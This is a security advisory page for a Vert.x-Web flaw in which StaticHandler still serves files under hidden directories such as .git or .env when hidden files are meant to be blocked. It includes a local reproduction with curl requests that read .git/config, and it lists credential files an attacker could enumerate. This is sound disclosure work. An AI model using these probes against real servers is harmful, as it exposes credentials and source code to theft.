GHSA-h5fg-jpgr-rv9c

    Dashboard / Vulnerabilities / GHSA-h5fg-jpgr-rv9c

    GHSA-h5fg-jpgr-rv9c

    Published: 22 Oct 2025Last Modified: 10 Sept 2026

    Summary: Vert.x-Web Access Control Flaw in StaticHandler’s Hidden File Protection for Files Under Hidden Directories

    Details: # Description There is a flaw in the hidden file protection feature of Vert.x Web’s `StaticHandler` when `setIncludeHidden(false)` is configured. In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (`.`) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases: - **Files under hidden directories**: For example, `/.secret/config.txt` — although `.secret` is a hidden directory, the file `config.txt` itself does not start with a dot, so it gets served. - **Real-world impact**: Sensitive files placed in hidden directories like `.git`, `.env`, `.aws` may become publicly accessible. As a result, the behavior does not meet the expectations set by the `includeHidden=false` configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information. # Steps to Reproduce ```bash 1. Prepare test environment # Create directory structure mkdir -p src/test/resources/webroot/.secret mkdir -p src/test/resources/webroot/.git # Place test files echo "This is a visible file" > src/test/resources/webroot/visible.txt echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt echo "Git config data" > src/test/resources/webroot/.git/config ``` ```java 2. Implement test server import io.vertx.core.AbstractVerticle; import io.vertx.core.Vertx; import io.vertx.ext.web.Router; import io.vertx.ext.web.handler.StaticHandler; public class StaticHandlerTestServer extends AbstractVerticle { @Override public void start() { Router router = Router.router(vertx); // Configure to not serve hidden files StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot") .setIncludeHidden(false) .setDirectoryListing(false); router.route("/*").handler(staticHandler); vertx.createHttpServer() .requestHandler(router) .listen(8082); } public static void main(String[] args) { Vertx vertx = Vertx.vertx(); vertx.deployVerticle(new StaticHandlerTestServer()); } } ``` ```bash 3. Confirm the vulnerability # Normal file (accessible) curl http://localhost:8082/visible.txt # Result: 200 OK # Hidden file (correctly blocked) curl http://localhost:8082/.git # Result: 404 Not Found # File under hidden directory (vulnerable) curl http://localhost:8082/.git/config # Result: 200 OK - Returns contents of Git config ``` # Potential Impact ## 1. Information Disclosure Examples of sensitive files that could be exposed: - `.git/config`: Git repository settings (e.g., remote URL, credentials) - `.env/*`: Environment variables (API keys, DB credentials) - `.aws/credentials`: AWS access keys - `.ssh/known_hosts`: SSH host trust info - `.docker/config.json`: Docker registry credentials ## 2. Attack Scenarios - Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data. - Especially dangerous for `.git/HEAD`, `.git/config`, `.git/objects/*` — which may allow full reconstruction of source code. ## 3. Affected Scope - **Affected version**: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well) - **Environments**: All OSes (Windows, Linux, macOS) - **Configurations**: All applications using `StaticHandler.setIncludeHidden(false)`

    Affected packages

    Package

    Name: io.vertx:vertx-web

    Purl: pkg:maven/io.vertx/vertx-web

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -4.5.22

    Affected versions

    3.0.0
    3.0.0-milestone6

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-h5fg-jpgr-rv9c | CVE-DB